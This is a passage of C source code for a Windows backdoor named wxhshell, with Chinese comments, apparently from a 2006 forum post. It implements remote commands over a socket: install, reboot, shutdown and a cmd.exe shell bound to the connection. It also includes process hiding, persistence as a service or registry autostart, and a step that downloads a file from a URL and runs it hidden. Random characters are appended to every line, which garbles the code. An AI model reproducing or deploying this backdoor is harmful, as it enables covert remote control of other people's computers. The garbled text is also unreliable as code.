  <j#IR  
  // 帮助 Zg4wd/y?  
  case '?': { O)&ME  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D?* du#6  
    break; ;BWWafZ  
  }  myOW^  
  // 安装 \ E5kpm  
  case 'i': { > 9z-/e  
    if(Install()) >k=@YLj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RCK*?\m5  
    else 1{cF/ :o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m%"=sX7/9  
    break; "av/a   
    } CJ)u#PmkJ  
  // 卸载 ab)ckRC  
  case 'r': { *(i%\  
    if(Uninstall()) N5cC!K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9nlj{(  
    else PT&qys 2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i{Q,>Rt  
    break; $mf6!p4  
    } PqyR,Bcx0  
  // 显示 wxhshell 所在路径 fG.6S"|M  
  case 'p': { w`#9Re  
    char svExeFile[MAX_PATH]; NJoHrhC='  
    strcpy(svExeFile,"\n\r"); 2AxKB+c1`  
      strcat(svExeFile,ExeFile); }J\7IsM&  
        send(wsh,svExeFile,strlen(svExeFile),0); ?&U~X)Q  
    break; 76c:* bZ  
    } y=SpIbn{  
  // 重启 V{qR/  
  case 'b': { r>"l:GZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %5Elj<eHZ  
    if(Boot(REBOOT)) {K/xI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EWVn*xl?  
    else { Di$++T8"  
    closesocket(wsh); 4QNwu7TeR  
    ExitThread(0); 6"+bCx0:  
    } 6-{wo)p  
    break; "*d%el\63  
    } 2&o3OKt  
  // 关机 O G7U+d6  
  case 'd': { SvQj'5~<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L N'})CI8m  
    if(Boot(SHUTDOWN)) @_;vE(!5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c+1<3)Q<  
    else { 0{Zwg0&  
    closesocket(wsh); de"+ABR  
    ExitThread(0); s8r[U, }(  
    } ?V)M!  
    break; w~e$ul(IQM  
    } >- CNHb  
  // 获取shell ~c>]kL(,  
  case 's': { U4._a  
    CmdShell(wsh); $*+UX   
    closesocket(wsh); :C#(yp  
    ExitThread(0); >~G _'~_f  
    break; F @Wb<+0  
  } E I&)+cC  
  // 退出 tW3Nry  
  case 'x': {  }_?FmuU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a  ,<u  
    CloseIt(wsh); Aq&H-g]s  
    break; FWpb5jc)3  
    } { %af  
  // 离开 yd`f<Hr<m  
  case 'q': { ? y^t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); io4/M<6<  
    closesocket(wsh); &8Oy*'  
    WSACleanup(); {UOR_Vt!*  
    exit(1); D{, b|4  
    break; f9b[0L  
        } 9%bqY9NFd  
  } CDRz3Hu U  
  } )Yw m_f-N  
@-jI<g  
  // 提示信息 qMmhmH)Gp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "]1|%j  
} dWDf(SS  
  } |(UkI?V  
rY(h }z  
  return; VaFv%%w  
} 9uA2M!~i2  
(n~GKcA  
// shell模块句柄 /Es&~Fn  
int CmdShell(SOCKET sock) >{w"aJ" F  
{ mM;p 7 sJ  
STARTUPINFO si; 'wP\VCL2>  
ZeroMemory(&si,sizeof(si)); + |d[q?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bis'59?U_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OLgW .j:Ag  
PROCESS_INFORMATION ProcessInfo; 81 /t)Cp  
char cmdline[]="cmd"; hG%J:}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;kiL`K  
  return 0; %:7fAB,PA  
} KZt4 dr  
*Z=:?4u  
// 自身启动模式 '6W|,  
int StartFromService(void) p7d[)* L>C  
{ CLX!qw]@ +  
typedef struct 9)]asY  
{ p:8&&v~I  
  DWORD ExitStatus; vB9v8@[I&  
  DWORD PebBaseAddress; )M(-EDL>Qk  
  DWORD AffinityMask; mk&`dr  
  DWORD BasePriority; Hwm] l`E]  
  ULONG UniqueProcessId; sT|FgB  
  ULONG InheritedFromUniqueProcessId; 0]^ke:(#  
}   PROCESS_BASIC_INFORMATION; | ?])]F  
;/]v mgl2  
PROCNTQSIP NtQueryInformationProcess; a jyuk@  
%nkP?gn"a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5 U{}A\q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !XJS"owr  
zw,=mpf3_  
  HANDLE             hProcess; 0($ O1j~$  
  PROCESS_BASIC_INFORMATION pbi; )"Vd8*e  
Pn[R.u(l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S>s{t=AY~  
  if(NULL == hInst ) return 0; Ps!~miN|>  
y.'5*08S0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2PrUI;J$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b/eJEL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bF X0UE>  
20XN5dTFT  
  if (!NtQueryInformationProcess) return 0; ;"77? )  
vw/L|b7G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {x#I&ra  
  if(!hProcess) return 0; 2,,t+8"`  
(s2ke  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m$X0O_*A  
p#eai  
  CloseHandle(hProcess); VS{po:]A  
j~@Hj$APa`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CtO`t5  
if(hProcess==NULL) return 0; !C$bOhc  
1D/9lR,  
HMODULE hMod; 9+o`/lk1  
char procName[255]; ~j&#DG&L  
unsigned long cbNeeded; X  !vBD  
3+j!{tJ z2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^mA^7jB  
~T_4M  
  CloseHandle(hProcess); l6wN&JHTh  
a2MFZe  
if(strstr(procName,"services")) return 1; // 以服务启动 '8$*gIQ8  
3{wmKo|_X  
  return 0; // 注册表启动 FXi"o $N  
} ph;ds+b  
{xzs{)9|Y4  
// 主模块 $ MN1:ih  
int StartWxhshell(LPSTR lpCmdLine) Ob"48{w$  
{ P'dH*}H  
  SOCKET wsl; ,'E+f%  
BOOL val=TRUE; sKvz<7pag  
  int port=0; I}&`IUP  
  struct sockaddr_in door; $Z!$E,@c  
Y30e7d* qr  
  if(wscfg.ws_autoins) Install(); U;l!.mze  
U{+<c [  
port=atoi(lpCmdLine); dZ1/w0<M2  
h*2NFL~#  
if(port<=0) port=wscfg.ws_port; 7NY9UQ  
:UMtknV  
  WSADATA data; ;U02VguC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zuq7 x7  
@w H+,]xE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]~!jf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <)vjoRv  
  door.sin_family = AF_INET; <d$L}uQwg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U',9t  
  door.sin_port = htons(port); `pHlGbrW  
Od?M4Ed(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QL<uQ`>(  
closesocket(wsl); >8pmClVvmR  
return 1; O[tOpf@s.  
} Dd(#   
f^tCD'Vmi  
  if(listen(wsl,2) == INVALID_SOCKET) { @bc=O1vX~;  
closesocket(wsl); 0nh;0Z  
return 1; %,l+?fF  
} )<.BN p  
  Wxhshell(wsl); 1nt VM+  
  WSACleanup(); 8hTtBa  
Eagl7'x  
return 0; VUo7Evc:.P  
% |6t\[gn  
} YkPc&&#  
DPU%4te  
// 以NT服务方式启动 ;Y&<psQeb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -R~!N#y  
{ @Gh?|d7bD  
DWORD   status = 0; K%XQdMv  
  DWORD   specificError = 0xfffffff; R::0.*FF  
n^svRM]eQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DE{tpN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .=j]PckJO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5$v,%~$Xds  
  serviceStatus.dwWin32ExitCode     = 0; !N`$`qAK  
  serviceStatus.dwServiceSpecificExitCode = 0; ZQZBap"  
  serviceStatus.dwCheckPoint       = 0; Z*Sa%yf  
  serviceStatus.dwWaitHint       = 0; B1EI'<S  
<.DFa/G   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i; 8""A  
  if (hServiceStatusHandle==0) return; [hLSK-K 9  
MOiTz L*  
status = GetLastError(); ?B)jnBh|  
  if (status!=NO_ERROR) ?,_$;g  
{ }b// oe7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ICJp-  
    serviceStatus.dwCheckPoint       = 0; dG6 G  
    serviceStatus.dwWaitHint       = 0; H`js1b1n  
    serviceStatus.dwWin32ExitCode     = status; i\2d1Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; % R18  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EFb1Y{u^\!  
    return; !>~W5c^  
  } C^}2::Qu  
9WXJz;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZyJdz+L{@V  
  serviceStatus.dwCheckPoint       = 0; r%M.rYLG{  
  serviceStatus.dwWaitHint       = 0; SDdefB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); . 6wyu7oK  
} q,#j *  
P/BWFN1  
// 处理NT服务事件,比如:启动、停止 j@JhxCe1+R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Iku(<*Ya  
{ a3&&7n  
switch(fdwControl)  _\H MF  
{ yfBVy8Sm  
case SERVICE_CONTROL_STOP: s 0}OsHAj  
  serviceStatus.dwWin32ExitCode = 0; '6^20rj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6} DGEHc1  
  serviceStatus.dwCheckPoint   = 0; *O>OHX  
  serviceStatus.dwWaitHint     = 0; .hYrE5\-  
  { 6$1dd#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZRDY `eK  
  } '#~$Od4&=  
  return; #WBlEVx;Z  
case SERVICE_CONTROL_PAUSE: 9y BENvq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MXS N <  
  break; -ZTe#@J  
case SERVICE_CONTROL_CONTINUE: ;Z\1PwT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1 11s%  
  break; s "KPTV  
case SERVICE_CONTROL_INTERROGATE: 7M#eR8*[se  
  break; e:SBX/\j  
}; ]7 qn&(]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (=v :@\r  
} XcOfQ s  
"}_b,5lkGK  
// 标准应用程序主函数 4)L(41h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vwVK ^B  
{ )ZxDfRjL  
#cB=] (N  
// 获取操作系统版本 ` ZO#n  
OsIsNt=GetOsVer(); \)\uAI-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gyqM&5b  
+mM=`[Z`??  
  // 从命令行安装 fE1B1j<  
  if(strpbrk(lpCmdLine,"iI")) Install(); z/IA @  
CqMm'6;$a}  
  // 下载执行文件 )tH.P: 1~,  
if(wscfg.ws_downexe) { bSOxM /N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w! J|KM  
  WinExec(wscfg.ws_filenam,SW_HIDE); $XBn:0U  
} 2K^D%U  
&`#k 1t'  
if(!OsIsNt) { |Ai/q6u  
// 如果时win9x,隐藏进程并且设置为注册表启动 3AKT>Wy =  
HideProc(); }6;K+INT  
StartWxhshell(lpCmdLine); N_dHPa  
} $uw[X  
else xvP=i/SO  
  if(StartFromService()) _|f1q  
  // 以服务方式启动 &|/@;EA$8  
  StartServiceCtrlDispatcher(DispatchTable); {WBe(dc_%  
else RMinZ}/  
  // 普通方式启动 /z<7gd~oU  
  StartWxhshell(lpCmdLine); KpHt(>NR  
G.2\Sw  
return 0; jZjWz1+  
}
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只看该作者 1 发表于: 2006-10-10
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